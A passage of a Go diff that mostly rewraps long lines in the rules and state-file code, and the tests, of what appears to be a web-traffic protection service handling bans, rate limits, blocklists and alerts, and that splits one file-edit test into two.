TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) { line := lines.waitFor(t, read) if files.Len() != 0 || line["rules"] != 0.0 { - t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line) + t.Errorf( + "%d rules loaded, and the log says %v, want none", + files.Len(), + line, + ) } } @@ -375,7 +406,12 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { // The edit's second line has an unknown action, so the rules stay as // they were, the first line's earlier version included. - save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n") + save( + t, + dir, + firstFile, + "first path block ^/edited\nsecond path bann ^/second\n", + ) line := lines.waitFor(t, hasError) want := filepath.Join(dir, firstFile) + @@ -393,7 +429,11 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || waiting[0].Reason != hasError || waiting[0].Detail["error"] != want || waiting[0].Detail["file"] != filepath.Join(dir, firstFile) { - t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want) + t.Errorf( + "alerts waiting %+v, want one file_error alert for %q", + waiting, + want, + ) } } wantFileError() @@ -402,8 +442,16 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { wantMatched(t, files, get(t, "/second")) // Once mended, the file is read again, and raises no alert. - save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n") - lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 }) + save( + t, + dir, + firstFile, + "first path block ^/edited\nsecond path ban ^/second\n", + ) + lines.waitUntil( + t, + func() bool { return len(files.Match(get(t, "/second"))) == 1 }, + ) wantMatched(t, files, get(t, "/edited"), "first") wantFileError() } @@ -559,7 +607,10 @@ func load(t *testing.T, files ruleFiles) *rules.Files { // watch loads the rules in dir, runs their Watch until the test ends, and // waits until it watches the directory. It returns the alerts' queue as // well. -func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) { +func watch( + t *testing.T, + dir string, +) (*rules.Files, processLog, *alerts.Queue) { t.Helper() params, lines := newParams(dir) @@ -611,21 +662,31 @@ func get(t *testing.T, target string) *http.Request { // wantRefusedBy checks that a GET request for target with the user agent // sent matches rule alone, and that rule refuses it. -func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) { +func wantRefusedBy( + t *testing.T, + files *rules.Files, + target, sent, rule string, +) { t.Helper() r := get(t, target) r.Header.Set(userAgent, sent) matched := files.Match(r) - if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog { + if len(matched) != 1 || matched[0].ID != rule || + matched[0].Action == rules.ActionLog { t.Errorf("%s from %q matched %v, want %s alone, refusing it", target, sent, ids(matched), rule) } } // wantMatched checks the ids of the rules r matches, in order. -func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) { +func wantMatched( + t *testing.T, + files *rules.Files, + r *http.Request, + want ...string, +) { t.Helper() got := ids(files.Match(r)) diff --git a/internal/state/state.go b/internal/state/state.go index 785ac72..4d90874 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -89,7 +89,11 @@ func fileNames() []string { // isCacheFile reports whether name is the name of a cache file. func isCacheFile(name string) bool { switch name { - case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON: + case lookupsJSON, + listsJSON, + dnsblJSON, + abuseIPDBScoresJSON, + routeWatchJSON: return true default: return false @@ -103,10 +107,14 @@ var ( errCause = errors.New("is not limit, attack, admin or crowdsec") errExpires = errors.New("is not after its start") errDestination = errors.New("is not webhook, slack or ntfy") - errScope = errors.New("is not client, net, asn, total or watched_net") - errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` + - `destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` + - `or remove the file`) + errScope = errors.New( + "is not client, net, asn, total or watched_net", + ) + errWaitingList = errors.New( + `waiting is a list, but now lists the alerts by ` + + `destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` + + `or remove the file`, + ) ) // Params are what Load needs. @@ -283,9 +291,23 @@ func Load(params Params) (*Files, error) { f.readCache(abuseIPDBScoresJSON) f.readCache(routeWatchJSON) - params.ProcessLog.Info("read the state and cache files", "directory", params.Dir, - "cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead, - "lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead) + params.ProcessLog.Info( + "read the state and cache files", + "directory", + params.Dir, + "cache_directory", + params.CacheDir, + "bans", + bansRead, + "clients", + clientsRead, + "lookups", + lookupsRead, + "lists", + listsRead, + "alerts_waiting", + alertsRead, + ) return f, nil } @@ -344,8 +366,11 @@ func (f *Files) WriteAll() error { func (f *Files) Watch(ctx context.Context) { watcher, err := fsnotify.NewWatcher() if err != nil { - f.params.ProcessLog.Error("cannot watch the state and cache files for edits", - "error", err.Error()) + f.params.ProcessLog.Error( + "cannot watch the state and cache files for edits", + "error", + err.Error(), + ) return } @@ -395,8 +420,11 @@ func (f *Files) Watch(ctx context.Context) { f.fileChanged(name) } case err = <-watcher.Errors: - f.params.ProcessLog.Warn("watching the state and cache files failed", - "error", err.Error()) + f.params.ProcessLog.Warn( + "watching the state and cache files failed", + "error", + err.Error(), + ) } } } @@ -416,7 +444,10 @@ func (f *Files) logFailure(name string, err error) { Event: alerts.EventFileError, Reason: failed, Detail: map[string]any{ - "file": filepath.Join(f.dir(name), name), "error": err.Error(), + "file": filepath.Join( + f.dir(name), + name, + ), "error": err.Error(), }, }) f.params.ProcessLog.Error(failed, "error", err.Error()) @@ -457,7 +488,11 @@ func (f *Files) takeInEdit(name string, data []byte) error { // Counted before it is logged, so that the count is there once the // log line is. f.params.Metrics.StateFileEditTakenIn(name) - f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name)) + f.params.ProcessLog.Info( + tookIn, + "file", + filepath.Join(f.dir(name), name), + ) return nil } @@ -508,8 +543,13 @@ func (f *Files) readCache(name string) int { // start, unless it is nil. func (f *Files) logUnread(name string, err error) { if err != nil { - f.params.ProcessLog.Warn("cannot read a cache file, so its cache starts empty", - "file", filepath.Join(f.dir(name), name), "error", err.Error()) + f.params.ProcessLog.Warn( + "cannot read a cache file, so its cache starts empty", + "file", + filepath.Join(f.dir(name), name), + "error", + err.Error(), + ) } } @@ -520,7 +560,8 @@ func (f *Files) logUnread(name string, err error) { func (f *Files) readChanged(name string) ([]byte, bool, error) { path := filepath.Join(f.dir(name), name) - data, err := os.ReadFile(path) //nolint:gosec // a file in one of the two directories + //nolint:gosec // a file in one of the two directories + data, err := os.ReadFile(path) if errors.Is(err, fs.ErrNotExist) { return nil, false, nil } @@ -564,7 +605,11 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { // takeInState parses data, what the state file name, at path, holds, and // puts it in, as takeIn describes. -func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, error) { +func (f *Files) takeInState( + name, path string, + data []byte, + edit bool, +) (int, error) { var entries int switch name { @@ -793,9 +838,18 @@ func (f *Files) setAside(name string, parseErr error) error { f.params.Alerts.Raise(alerts.Alert{ Event: alerts.EventFileError, Reason: setAside, - Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()}, + Detail: map[string]any{ + "file": path + ".bad", + "error": parseErr.Error(), + }, }) - f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error()) + f.params.ProcessLog.Error( + setAside, + "file", + path+".bad", + "error", + parseErr.Error(), + ) f.params.Metrics.StateFileEditSetAside(name) return nil @@ -814,7 +868,9 @@ func (f *Files) encode(name string) ([]byte, error) { case lookupsJSON: return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) case listsJSON: - return encodeIndented(listsFile{Version: version, Lists: f.params.Lists.Snapshot()}) + return encodeIndented( + listsFile{Version: version, Lists: f.params.Lists.Snapshot()}, + ) case dnsblJSON: return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot()) case abuseIPDBScoresJSON: @@ -931,7 +987,12 @@ func (f *bansFile) check(data []byte) error { case entry.Cause != "" && entry.Cause != bans.CauseLimit && entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin && entry.Cause != bans.CauseCrowdSec: - return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause) + return fmt.Errorf( + "entry %d's cause %q %w", + i+1, + entry.Cause, + errCause, + ) } } @@ -1140,9 +1201,17 @@ func (f *alertsFile) check([]byte) error { for i, alert := range f.Waiting[destination] { switch { case alert.Event == "": - return fmt.Errorf("waiting %s %w", destination, missing(i, "event")) + return fmt.Errorf( + "waiting %s %w", + destination, + missing(i, "event"), + ) case alert.Time.IsZero(): - return fmt.Errorf("waiting %s %w", destination, missing(i, "time")) + return fmt.Errorf( + "waiting %s %w", + destination, + missing(i, "time"), + ) } } } @@ -1215,7 +1284,12 @@ func missing(i int, field string) error { func (f *bansFile) toUTC() { for i := range f.Bans { ban := &f.Bans[i] - convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time) + convertToUTC( + &ban.Start, + ban.Expires, + ban.Lifted, + &ban.Notes.Request.Time, + ) } } @@ -1223,11 +1297,18 @@ func (f *bansFile) toUTC() { func (f *clientsFile) toUTC() { for i := range f.Clients { client := &f.Clients[i] - convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start, - &client.MinuteBytes.Start, &client.HourBytes.Start, - &client.DayBytes.Start, &client.MinuteRefusals.Start, - &client.History.FirstSeen, &client.History.LastSeen, - &client.History.LookedUp) + convertToUTC( + &client.Minute.Start, + &client.Hour.Start, + &client.Day.Start, + &client.MinuteBytes.Start, + &client.HourBytes.Start, + &client.DayBytes.Start, + &client.MinuteRefusals.Start, + &client.History.FirstSeen, + &client.History.LastSeen, + &client.History.LookedUp, + ) } } @@ -1420,7 +1501,8 @@ func write(dir, name string, data []byte) error { // syncDirectory syncs dir to the disk, so that a rename in it lasts. func syncDirectory(dir string) error { - directory, err := os.Open(dir) //nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself + //nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself + directory, err := os.Open(dir) if err != nil { return err } @@ -1431,7 +1513,11 @@ func syncDirectory(dir string) error { // writeSynced writes data to the file at path, and syncs it to the disk. func writeSynced(path string, data []byte) error { //nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR - file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode) + file, err := os.OpenFile( + path, + os.O_WRONLY|os.O_CREATE|os.O_TRUNC, + fileMode, + ) if err != nil { return err } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 83971b8..f251d75 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -339,11 +339,23 @@ func TestFilesWrittenAndReadBack(t *testing.T) { load(t, after) wantEqual(t, bansJSON, after.Ledger.Snapshot(), before.Ledger.Snapshot()) - wantEqual(t, clientsJSON, after.Limiter.Snapshot(), before.Limiter.Snapshot()) - wantEqual(t, lookupsJSON, after.GeoJS.Snapshot(), before.GeoJS.Snapshot()) + wantEqual( + t, + clientsJSON, + after.Limiter.Snapshot(), + before.Limiter.Snapshot(), + ) + wantEqual( + t, + lookupsJSON, + after.GeoJS.Snapshot(), + before.GeoJS.Snapshot(), + ) if got, want := after.Lists.Snapshot(), before.Lists.Snapshot(); !reflect.DeepEqual( - got, want) { + got, + want, + ) { t.Errorf("%s read back\n%+v\nwant\n%+v", listsJSON, got, want) } @@ -355,16 +367,27 @@ func TestFilesWrittenAndReadBack(t *testing.T) { checks, wantChecks := after.AbuseIPDB.ChecksSpent(), before.AbuseIPDB.ChecksSpent() if checks != wantChecks { - t.Errorf("%s read back %+v, want %+v", abuseIPDBChecksSpentJSON, checks, - wantChecks) + t.Errorf( + "%s read back %+v, want %+v", + abuseIPDBChecksSpentJSON, + checks, + wantChecks, + ) } if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual( - got, want) { + got, + want, + ) { t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) } - wantEqual(t, alertsJSON, after.Anomalies.Snapshot(), before.Anomalies.Snapshot()) + wantEqual( + t, + alertsJSON, + after.Anomalies.Snapshot(), + before.Anomalies.Snapshot(), + ) // Each one-per-line file lists its entries by client, and nothing // but the nine files is left in the directory. @@ -388,9 +411,23 @@ func TestStateFilesInDirAndCacheFilesInCacheDir(t *testing.T) { t.Fatalf("write: %v", err) } - wantFiles(t, stateDir, abuseIPDBChecksSpentJSON, alertsJSON, bansJSON, clientsJSON) - wantFiles(t, cacheDir, abuseIPDBScoresJSON, dnsblJSON, listsJSON, lookupsJSON, - routeWatchJSON) + wantFiles( + t, + stateDir, + abuseIPDBChecksSpentJSON, + alertsJSON, + bansJSON, + clientsJSON, + ) + wantFiles( + t, + cacheDir, + abuseIPDBScoresJSON, + dnsblJSON, + listsJSON, + lookupsJSON, + routeWatchJSON, + ) // Read back from both, as at the next start. after := newParams(stateDir) @@ -398,12 +435,21 @@ func TestStateFilesInDirAndCacheFilesInCacheDir(t *testing.T) { load(t, after) wantEqual(t, bansJSON, after.Ledger.Snapshot(), before.Ledger.Snapshot()) - wantEqual(t, lookupsJSON, after.GeoJS.Snapshot(), before.GeoJS.Snapshot()) + wantEqual( + t, + lookupsJSON, + after.GeoJS.Snapshot(), + before.GeoJS.Snapshot(), + ) checks, wantChecks := after.AbuseIPDB.ChecksSpent(), before.AbuseIPDB.ChecksSpent() if checks != wantChecks { - t.Errorf("%s read back %+v, want %+v", abuseIPDBChecksSpentJSON, checks, - wantChecks) + t.Errorf( + "%s read back %+v, want %+v", + abuseIPDBChecksSpentJSON, + checks, + wantChecks, + ) } } @@ -448,7 +494,12 @@ func TestRouteWatchJSONAsWritten(t *testing.T) { got := readFile(t, filepath.Join(dir, routeWatchJSON)) if got != filledRouteWatchJSON { - t.Errorf("%s\n%s\nwant\n%s", routeWatchJSON, got, filledRouteWatchJSON) + t.Errorf( + "%s\n%s\nwant\n%s", + routeWatchJSON, + got, + filledRouteWatchJSON, + ) } } @@ -469,7 +520,9 @@ func TestRouteWatchJSONHoldsNoAnswersWhileRoutewatchIsUnset(t *testing.T) { wantEntries(t, filepath.Join(dir, routeWatchJSON), "answers") } -func TestAlertsJSONIsIndentedWithTheCooldownsTheHourAndTheAlertsWaiting(t *testing.T) { +func TestAlertsJSONIsIndentedWithTheCooldownsTheHourAndTheAlertsWaiting( + t *testing.T, +) { t.Parallel() dir := t.TempDir() @@ -515,8 +568,11 @@ func TestSourceFailureCooldownKeptInAlertsJSONAcrossARestart(t *testing.T) { waiting := after.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || after.Alerts.Suppressed() != 1 { - t.Errorf("%d alerts wait and %d are held back, want the one read back and 1", - len(waiting), after.Alerts.Suppressed()) + t.Errorf( + "%d alerts wait and %d are held back, want the one read back and 1", + len(waiting), + after.Alerts.Suppressed(), + ) } } @@ -533,7 +589,9 @@ func TestAnomalyCountersKeptInAlertsJSONAcrossARestart(t *testing.T) { withThreshold := func() state.Params { params := newParams(dir) params.Anomalies = anomaly.New(anomaly.Params{ - Total: anomaly.Thresholds{RequestsPerMinute: 2}, Alerts: params.Alerts, + Total: anomaly.Thresholds{ + RequestsPerMinute: 2, + }, Alerts: params.Alerts, }) return params @@ -591,12 +649,16 @@ func TestMissingFilesAreEmptyState(t *testing.T) { held := params.Alerts.Snapshot() - if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || - len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 || - len(params.DNSBL.Snapshot()) != 0 || len(params.AbuseIPDB.Snapshot()) != 0 || + if len(params.Ledger.Snapshot()) != 0 || + len(params.Limiter.Snapshot()) != 0 || + len(params.GeoJS.Snapshot()) != 0 || + len(params.Lists.Snapshot()) != 0 || + len(params.DNSBL.Snapshot()) != 0 || + len(params.AbuseIPDB.Snapshot()) != 0 || len(params.RouteWatch.Snapshot()) != 0 || params.AbuseIPDB.ChecksSpent().Spent != 0 || - len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 || + len(held.Cooldowns) != 0 || + len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 { t.Error("state from no files") } @@ -665,7 +727,9 @@ func TestFileThatDoesNotParseStopsTheStart(t *testing.T) { } } -func TestCacheFileThatDoesNotParseIsSetAsideAndTheCacheStartsEmpty(t *testing.T) { +func TestCacheFileThatDoesNotParseIsSetAsideAndTheCacheStartsEmpty( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -750,7 +814,10 @@ func TestCacheFileThatCannotBeReadIsWrittenOver(t *testing.T) { lines := logInto(¶ms) files := load(t, params) - line := lines.waitFor(t, "cannot read a cache file, so its cache starts empty") + line := lines.waitFor( + t, + "cannot read a cache file, so its cache starts empty", + ) if line["file"] != path { t.Errorf("logged %v, want the file %s", line, path) } @@ -868,7 +935,9 @@ func TestLookupsJSONEntryWithoutAFieldItNeedsIsSetAside(t *testing.T) { } } -func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) { +func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart( + t *testing.T, +) { t.Parallel() wantRefused(t, clientsJSON, @@ -877,7 +946,9 @@ func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing. `: entry 1 has no "minute_refusals.start"`) } -func TestClientsJSONFromAnEarlierVersionWithTokenRefusalsLoads(t *testing.T) { +func TestClientsJSONFromAnEarlierVersionWithTokenRefusalsLoads( + t *testing.T, +) { t.Parallel() dir := t.TempDir() @@ -972,7 +1043,9 @@ func TestListsAndDNSBLJSONEntryWithoutAFieldItNeedsIsSetAside(t *testing.T) { } } -func TestAbuseIPDBScoresJSONScoreWithoutAFieldItNeedsIsSetAside(t *testing.T) { +func TestAbuseIPDBScoresJSONScoreWithoutAFieldItNeedsIsSetAside( + t *testing.T, +) { t.Parallel() // scores opens the list of AbuseIPDB scores, and ends closes it; client, @@ -1083,7 +1156,9 @@ func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } -func TestAlertsJSONWithWaitingAsAListStopsTheStartSayingWhatToChange(t *testing.T) { +func TestAlertsJSONWithWaitingAsAListStopsTheStartSayingWhatToChange( + t *testing.T, +) { t.Parallel() // alerts.json as it was written before alerts went to Slack and ntfy too, @@ -1092,11 +1167,15 @@ func TestAlertsJSONWithWaitingAsAListStopsTheStartSayingWhatToChange(t *testing. `[]`, `[{"event": "ban", "time": "2026-10-06T00:00:00Z"}]`, } { - wantRefused(t, alertsJSON, `{"version": 1, "cooldowns": [], `+ - `"hour": {"start": "2026-10-06T00:00:00Z", "sent": 0, "held_back": {}}, `+ - `"waiting": `+waiting+`}`, + wantRefused( + t, + alertsJSON, + `{"version": 1, "cooldowns": [], `+ + `"hour": {"start": "2026-10-06T00:00:00Z", "sent": 0, "held_back": {}}, `+ + `"waiting": `+waiting+`}`, `: waiting is a list, but now lists the alerts by destination: put the `+ - `list under "webhook", as "waiting": {"webhook": [...]}, or remove the file`) + `list under "webhook", as "waiting": {"webhook": [...]}, or remove the file`, + ) } } @@ -1164,7 +1243,12 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) { _, err := state.Load(newParams(dir)) if err == nil || !strings.HasPrefix(err.Error(), want) { - t.Errorf("state directory %s: error %v, want one starting %s", dir, err, want) + t.Errorf( + "state directory %s: error %v, want one starting %s", + dir, + err, + want, + ) } const wantCache = "SWW_CACHE_DIR cannot be written: " @@ -1174,8 +1258,12 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) { _, err = state.Load(params) if err == nil || !strings.HasPrefix(err.Error(), wantCache) { - t.Errorf("cache directory %s: error %v, want one starting %s", dir, err, - wantCache) + t.Errorf( + "cache directory %s: error %v, want one starting %s", + dir, + err, + wantCache, + ) } } } @@ -1196,13 +1284,19 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { // A second ban, made while the first waits to be written, puts the // write off no further, and is written with it. - first, _ := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), - midnight(), bans.Notes{}) + first, _ := params.Ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) time.Sleep(5 * time.Second) - second, _ := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), - midnight(), bans.Notes{}) + second, _ := params.Ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.10/32"), + midnight(), + bans.Notes{}, + ) time.Sleep(5*time.Second - time.Nanosecond) synctest.Wait() @@ -1288,11 +1382,18 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) { t.Errorf("bans.json holds\n%s\nwant the edit", got) } - wantEqual(t, bansJSON, params.Ledger.Snapshot(), []bans.Ban{permanentBan()}) + wantEqual( + t, + bansJSON, + params.Ledger.Snapshot(), + []bans.Ban{permanentBan()}, + ) }) } -func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testing.T) { +func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -1313,7 +1414,11 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testi for _, file := range failing { err := os.Mkdir(filepath.Join(dir, file.name+".tmp"), 0o700) if err == nil { - err = os.WriteFile(filepath.Join(dir, file.name+".tmp", "kept"), nil, 0o600) + err = os.WriteFile( + filepath.Join(dir, file.name+".tmp", "kept"), + nil, + 0o600, + ) } if err != nil { @@ -1332,11 +1437,17 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testi for i, file := range failing { message, _ := waiting[i].Detail["error"].(string) - if waiting[i].Event != alerts.EventFileError || waiting[i].Reason != file.reason || + if waiting[i].Event != alerts.EventFileError || + waiting[i].Reason != file.reason || waiting[i].Detail["file"] != filepath.Join(dir, file.name) || !strings.Contains(message, file.name+".tmp") { - t.Fatalf("alerts waiting %+v, want a file_error alert for %s, saying %q "+ - "and naming its temporary file", waiting, file.name, file.reason) + t.Fatalf( + "alerts waiting %+v, want a file_error alert for %s, saying %q "+ + "and naming its temporary file", + waiting, + file.name, + file.reason, + ) } } @@ -1372,9 +1483,16 @@ func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) { t.Fatalf("mkdir: %v", err) } - params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), - bans.Notes{}) - params.Limiter.Count(netip.MustParsePrefix("203.0.113.9/32"), midnight(), whole) + params.Ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) + params.Limiter.Count( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + whole, + ) err = files.WriteAll() if err == nil || !strings.Contains(err.Error(), bansJSON+".tmp") { @@ -1419,9 +1537,16 @@ func TestWritesAreCountedInTheMetrics(t *testing.T) { wantMetric(t, got, "sww_state_file_size_bytes"+ofBans, float64(len(permanentBansJSON))) - written := metric(t, got, "sww_state_file_last_write_timestamp_seconds"+ofBans) + written := metric( + t, + got, + "sww_state_file_last_write_timestamp_seconds"+ofBans, + ) if written < float64(time.Now().Add(-time.Hour).Unix()) { - t.Errorf("bans.json was last written at %v, not by that write", written) + t.Errorf( + "bans.json was last written at %v, not by that write", + written, + ) } // A directory in the way of bans.json's temporary file fails its next @@ -1431,8 +1556,11 @@ func TestWritesAreCountedInTheMetrics(t *testing.T) { t.Fatalf("mkdir: %v", err) } - params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), - bans.Notes{}) + params.Ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) err = files.WriteAll() if err == nil { @@ -1532,38 +1660,97 @@ func TestEditOfEachFileTakenIn(t *testing.T) { // takes the place of everything the part held. client := netip.MustParsePrefix("198.51.100.7/32") - edit(t, dir, bansJSON, `{"version": 1, "bans": [{"netblock": "198.51.100.7/32", `+ - `"start": "2026-10-06T00:00:00Z", "expires": null}]}`) + edit( + t, + dir, + bansJSON, + `{"version": 1, "bans": [{"netblock": "198.51.100.7/32", `+ + `"start": "2026-10-06T00:00:00Z", "expires": null}]}`, + ) wantTakenIn(t, lines, dir, bansJSON) - wantEqual(t, bansJSON, params.Ledger.Snapshot(), - []bans.Ban{{Netblock: client, Start: midnight(), Cause: bans.CauseAdmin}}) + wantEqual( + t, + bansJSON, + params.Ledger.Snapshot(), + []bans.Ban{ + {Netblock: client, Start: midnight(), Cause: bans.CauseAdmin}, + }, + ) edit(t, dir, clientsJSON, `{"version": 1, "clients": [`+ `{"client": "198.51.100.7/32", "history": {"requests": 7}}]}`) wantTakenIn(t, lines, dir, clientsJSON) - wantEqual(t, clientsJSON, params.Limiter.Snapshot(), - []ratelimit.Client{{Client: client, History: ratelimit.History{Requests: 7}}}) + wantEqual( + t, + clientsJSON, + params.Limiter.Snapshot(), + []ratelimit.Client{ + {Client: client, History: ratelimit.History{Requests: 7}}, + }, + ) - edit(t, dir, lookupsJSON, `{"version": 1, "lookups": [{"client": "198.51.100.7/32", `+ - `"country": "FR", "answered": "2026-10-06T00:00:00Z"}]}`) + edit( + t, + dir, + lookupsJSON, + `{"version": 1, "lookups": [{"client": "198.51.100.7/32", `+ + `"country": "FR", "answered": "2026-10-06T00:00:00Z"}]}`, + ) wantTakenIn(t, lines, dir, lookupsJSON) - wantEqual(t, lookupsJSON, params.GeoJS.Snapshot(), - []lookup.Answer{{Client: client, Country: "FR", Answered: midnight()}}) + wantEqual( + t, + lookupsJSON, + params.GeoJS.Snapshot(), + []lookup.Answer{ + {Client: client, Country: "FR", Answered: midnight()}, + }, + ) +} + +// TestEditOfRouteWatchAndAlertsFilesTakenIn goes on from +// TestEditOfEachFileTakenIn, with the last two files. +func TestEditOfRouteWatchAndAlertsFilesTakenIn(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + fill(params) + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + watch(t, files, lines) + + client := netip.MustParsePrefix("198.51.100.7/32") edit(t, dir, routeWatchJSON, `{"version": 1, "answers": [`+ `{"client": "198.51.100.7/32", "netblock": "198.51.100.0/24", "asn": 64497, `+ `"answered": "2026-10-06T00:00:00Z"}]}`) wantTakenIn(t, lines, dir, routeWatchJSON) - wantEqual(t, routeWatchJSON, params.RouteWatch.Snapshot(), []routewatch.Answer{{ - Client: client, Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497, - Answered: midnight(), - }}) + wantEqual( + t, + routeWatchJSON, + params.RouteWatch.Snapshot(), + []routewatch.Answer{{ + Client: client, Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497, + Answered: midnight(), + }}, + ) // A netblock with bits past its length is read as the netblock it is // in. - edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ - `"netblock": "198.51.100.9/24", "sent": "2026-10-06T00:00:00Z"}], `+ - `"waiting": {"webhook": [{"event": "file_error", "time": "2026-10-06T00:00:00Z"}]}}`) + edit( + t, + dir, + alertsJSON, + `{"version": 1, "cooldowns": [{"event": "ban", `+ + `"netblock": "198.51.100.9/24", "sent": "2026-10-06T00:00:00Z"}], `+ + `"waiting": {"webhook": [{"event": "file_error", "time": "2026-10-06T00:00:00Z"}]}}`, + ) wantTakenIn(t, lines, dir, alertsJSON) want := alerts.State{ @@ -1573,7 +1760,9 @@ func TestEditOfEachFileTakenIn(t *testing.T) { }}, Hour: alerts.Hour{HeldBack: map[string]int{}}, Waiting: map[string][]alerts.Alert{ - alerts.DestinationWebhook: {{Event: alerts.EventFileError, Time: midnight()}}, + alerts.DestinationWebhook: { + {Event: alerts.EventFileError, Time: midnight()}, + }, }, } if got := params.Alerts.Snapshot(); !reflect.DeepEqual(got, want) { @@ -1601,19 +1790,33 @@ func TestEditOfEachReputationFileTakenIn(t *testing.T) { // takes the place of everything the part held. client := netip.MustParsePrefix("198.51.100.7/32") - edit(t, dir, listsJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+ - `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+ - `"lines": ["198.51.100.7"]}]}`) + edit( + t, + dir, + listsJSON, + `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+ + `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+ + `"lines": ["198.51.100.7"]}]}`, + ) wantTakenIn(t, lines, dir, listsJSON) listedBy := params.Lists.ListedBy(client.Addr()) if !slices.Equal(listedBy, []string{blocklistURL}) { - t.Errorf("%s taken in lists %s on %v, want on the blocklist", listsJSON, - client.Addr(), listedBy) + t.Errorf( + "%s taken in lists %s on %v, want on the blocklist", + listsJSON, + client.Addr(), + listedBy, + ) } - edit(t, dir, dnsblJSON, `{"version": 1, "verdicts": [{"zone": "`+dnsblZone+`", `+ - `"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}]}`) + edit( + t, + dir, + dnsblJSON, + `{"version": 1, "verdicts": [{"zone": "`+dnsblZone+`", `+ + `"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}]}`, + ) wantTakenIn(t, lines, dir, dnsblJSON) wantEqual(t, dnsblJSON, params.DNSBL.Snapshot(), []reputation.Verdict{{ Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(), @@ 